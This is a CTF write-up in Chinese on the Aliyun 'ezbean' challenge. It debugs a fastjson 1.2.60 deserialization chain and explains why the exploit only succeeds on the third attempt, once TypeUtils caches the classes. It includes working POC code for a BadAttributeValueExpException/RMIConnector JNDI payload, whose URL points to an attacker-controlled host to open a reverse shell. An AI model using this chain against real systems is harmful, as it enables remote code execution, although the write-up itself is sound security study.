aliyun CTF ezbean分析与思考
0x00 前言
复现阿里云的时候发现了一个很奇怪、很玄学的点,官方和冠军wp都是一笔带过了,官方也没给exp,就试着自己硬调,调着调着有点上头,应该没人发过吧,我猜的😂
前置知识
FastJson反序列化中有常见的链,BadAttributeValueExpException触发的JSON#toString-》getter方法,这个过程有点复杂,也不是本文的重点,具体可以参考
fastjson和原生反序列化
0x01 题目背景
反序列化点
题目给出了一个可以反序列化参数data传入数据的路由read
image-20230504230327231
这里的MyObjectInputStream继承自ObjectInputStream,调用readObject方会先进入resolveClass具体调用栈如下
image-20230504233800680
跟进resolveClass
1 2 3 4 5 6 7
| protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException { if(!contains(cls.getName())) { return super.resolveClass(cls); } else { throw new InvalidClassException("Unexpected serialized class", cls.getName()); } }
|
跟进com.ctf.ezser.utils.MyObjectInputStream#contains方法,是一个黑名单过滤
1 2 3 4 5 6 7 8 9 10 11 12
| private static final String[] blacklist = new String[]{ "java\\.security.*", "java\\.rmi.*", "com\\.fasterxml.*", "com\\.ctf\\.*", "org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*" };
public static boolean contains(String targetValue) { for (String forbiddenPackage : blacklist) { if (targetValue.matches(forbiddenPackage)) return true; } return false; }
|
不过经实测这个黑名单似乎起不到过滤的作用
image-20230504234209559
0x02 问题发现
限制分析
fastjson==1.2.60>1.2.49
SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查
这里提一下fastjson中的反序列化机制,由于ObjectInputStream的不安全性,fastjson在调用JSONArray/JSONObject的readObject方法触发反序列化时,会将反序列化过程委托给SecureObjectInputStream处理,这个类可以理解成是安全的ObjectInputStream,下图为委托起点(ObjectInputStream#defaultReadObject)
image-20230504235432194
之后的过程感兴趣可以调一下看下调用栈,几个节点如下(太多了,只选了其中几个)
1 2 3 4 5
| ObjectInputStream #defaultReadObject ObjectInputStream #ReadObject ObjectInputStream #ReadObject0 ObjectInputStream #readNonProxyDesc SecureObjectInputStream #resolveClass
|
关注一下resolveClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); if (name.length() > 2) { int index = name.lastIndexOf('['); if (index != -1) { name = name.substring(index + 1); } if (name.length() > 2 && name.charAt(0) == 'L' && name.charAt(name.length() - 1) == ';') { name = name.substring(1, name.length() - 1); } ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask); } return super.resolveClass(desc); }
|
反序列化失败的大多数原因都是checkAutoType函数执行过程中抛出了JSONException异常
这个异常大概字符串是
1
| default constructor not found. class xxxxx
|
这样的话之前的链子就打不通了,原来有Fastjson反序列化的链子思路是从BadAttributeValueExpException->JSON#toString->JSON#toJSONString,进而最后能触发任意类的getter(就是类的方法名以get开头的),回看这题给的MyBean,里面有个getConnect
1 2 3 4 5 6 7 8 9
| public String getConnect() throws IOException { try { this.conn.connect(); return "success"; } catch (IOException var2) { return "fail"; } }
|
只要我们能触发getConnect,将conn设置为RMIConnector,可以触发JNDI注入,之后也就能反弹shell了
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| String jmxurl = "service:jmx:rmi:///jndi/ldap://vps_ip:1389/Basic/ReverseShell/vps_ip/3344"; JMXServiceURL jmxServiceURL = new JMXServiceURL(jmxurl); RMIConnector rmi = new RMIConnector(jmxServiceURL, null); com.ctf.ezser.bean.MyBean mb = new com.ctf.ezser.bean.MyBean(jmxurl,"sssaaaa",rmi);
com.alibaba.fastjson.JSONArray jsonArray = new com.alibaba.fastjson.JSONArray(); jsonArray.add(mb);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(val);
String ret = Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println(ret);
|
玄学事件
按理来说,根据上述链子构造的反序列化应该会被SecureObjectInputStream拦截,进而执行checkAutoType然后抛出JSONException异常,导致反序列化失败,但神奇的是前两次反序列化一定失败,而从第三次开始就能成功并反弹shell。并且官方wp也用的这条链子,但写得过于简短,看冠军队的wp说是fj的随机构造函数问题,后来调了一下感觉可能不是这个原因
image-20230505012846237
一开始以为三次只是巧合,后来每次验证都是三次。并且第一次是default constructor not found. class xxx.RMIConnector第二次是default constructor not found. class xxx.JMXServiceURL
这里先提一下checkAutoType通过typeName找类的三种方式
1 2 3 4 5 6 7 8 9 10 11
| if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); }
if (clazz == null) { clazz = deserializers.findClass(typeName); }
if (clazz == null) { clazz = typeMapping.get(typeName); }
|
经过测试,最主要的方法是TypeUtils.getClassFromMapping这个方法会去TypeUtils的mappings成员里找是否有以typeName为Name的类(🌟🌟这个很重要 记一下)mappings是静态私有成员,在初始化时就放入了107个常见类(也是SecureObjectInputStream认为是安全的类)
调的过程中发现三次执行的过程中,这个mappings成员的size分别是108、109、110,而在110时反序列化成功,想必大家看到这里都能发现这个关键点了,也能猜测到前两次工作是把抛出异常没找到那个类添加进mappings
0x03 调试分析
理论上是说得通了,还得是调试一下来验证
前提条件
这题里能传入checkAutoType去寻找的非原生类只有
1 2 3
| com.ctf.ezser.bean.MyBean javax.management.remote.rmi.RMIConnector javax.management.remote.JMXServiceURL
|
异常信号寻找
首先先找一下这个一直报错的default constructor not found. class xxx字段,找出来是在JavaBeanInfo#build方法的某处
1 2 3 4 5 6 7
| if ((!kotlin) && !clazz.getName().equals("javax.servlet.http.Cookie")) { return new JavaBeanInfo(clazz, builderClass, null, creatorConstructor, null, null, jsonType, fieldList); } } else { throw new JSONException("default constructor not found. " + clazz); }
|
在这题的反序列化过程中kotlin都为false,因此关注第二个条件,经调试,走到这一步的clazz都不会是javax.servlet.http.Cookie,而是上面三个前提条件中的后两个
checkAutoType方法后续会创建一个JavaBeanInfo调用clazz方法,不过前提是前一个if没有成功的return跳出函数,从下面代码可以看出,如果三种方法都找不到class,也就不会提前退出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null) { clazz = deserializers.findClass(typeName); } if (clazz == null) { clazz = typeMapping.get(typeName); } if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); }
return clazz; }
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); }
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy); if (beanInfo.creatorConstructor != null && autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } }
|
若没有提前退出会来到上面标识的***处,这里有一个很重要的操作,把还没找到的类的类名typeName添加进TypeUtils的mappings中,使用类加载器加载该类并赋值给clazz,这里可以简单看一下TypeUtils.loadClass关键部分
1 2 3 4 5 6 7
| if(classLoader != null){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; }
|
总结
总结一下传入ParserConifg#checkAutoType的类名会经历以下过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 1.简单的类名检查,若处于黑名单则抛出异常 autoType is not support xxx 2.使用三种方法通过类名来加载类: TypeUtils.getClassFormMappings (基本都通过这个方法找到) IdentityHashMap.findClass ConcurrentHashMap.get 3.若找到,会进入以下if进而return找到的类提前退出checkAutoType函数 if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } 4.继续执行,通过TypeUtils的loadClass方法利用类加载器找到类,并将当前类加入TypeUtils的mappings中 5.调用JavaBeanInfo的build方法,传入当前类,当类没有无参构造函数时会抛出异常 default constructor not found. xxxx
|
第一次反序列化
首先是入口点
1
| objectInputStream.readObject();
|
接着来到JSONArray#readObject
1 2 3 4 5 6 7 8 9 10 11 12
| private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { JSONObject.SecureObjectInputStream.ensureFields(); if (JSONObject.SecureObjectInputStream.fields != null && !JSONObject.SecureObjectInputStream.fields_error) { ObjectInputStream secIn = new JSONObject.SecureObjectInputStream(in); try { secIn.defaultReadObject(); return; } catch (java.io.NotActiveException e) { } }
|
之后就被SecureObjectInputStream劫持了
image-20230505020221637
直接来到最关键的checkAutoType方法,可以看到先找的是MyBean
image-20230505020313917
跟进checkAutoType方法,前面部分跳过,直接来个经典三个方法寻找类
image-20230505020425672
这里可以先跟进一下getClassFromMapping方法,可以看到此时的Mappings(size:107)
image-20230505020521779
经过三个方法,仍然没有找到类,这也就意味着接下来一定会去到JavaBeanInfo的build方法中(异常抛出点),不过在这之前会先通过Typeutils的loadClass方法找到类,并添加mappings的数量
1 2 3 4
| if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); }
|
MyBean被添加,size变为108
image-20230505020903956
之后就来到了这个死亡异常抛出点JavaBeanInfo的build方法,但你会惊奇的发现,并没有抛出异常,程序继续走到了下一个类RMIConnector传入checkAutoType方法,其实是因为这个if的条件不满足,build函数提前返回
image-20230505021125948
这也很好理解,那个异常提示的很明显了default constructor not found. class xxx而MyBean明显是有无参构造方法的,这里的defaultConstructor就是获取到了无参构造方法
image-20230505015849391
没有异常抛出,无事发生,接着轮到RMIConnector
image-20230505021320328
后面都是一样的操作,三个方法都找不到类,被添加进mappings,size+1
image-20230505021419699
然后来到死亡异常抛出点JavaBeanInfo的build方法,没有无参构造函数
image-20230505021538934
image-20230505021549225
迎来第一次报错
image-20230505021625294
第二次反序列化
接着进行第二次,发送payload
image-20230505021702771
MyBean和RMIConnector的checkAutoType就先跳过,这两类以及被加入mappings了,是可以通过三个方法后的这部分代码提前退出的,就不再跟进
1 2 3 4 5 6 7 8 9
| if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); }
return clazz; }
|
直接开始分析JMXServiceURL,三个方法找不到类,调用laodClass
image-20230505021939903
加入mappings, size+1,至此,可以支持反序列化成功的mappigns已经装填好
image-20230505022008745
之后又因为没有无参构造方法抛出异常
image-20230505022107758
迎来第二个报错
image-20230505022142322
第三次反序列化(也是反序列化成功的开始)
先提前架起ldap服务和vps监听
image-20230505022409515
发送payload
image-20230505022432324
通过了前面三个类的checkAutoType方法,来到BadAttributeValueExpException的readObject方法
image-20230505022631154
接着触发getter
image-20230505022649684
成功反弹shell
image-20230505022721373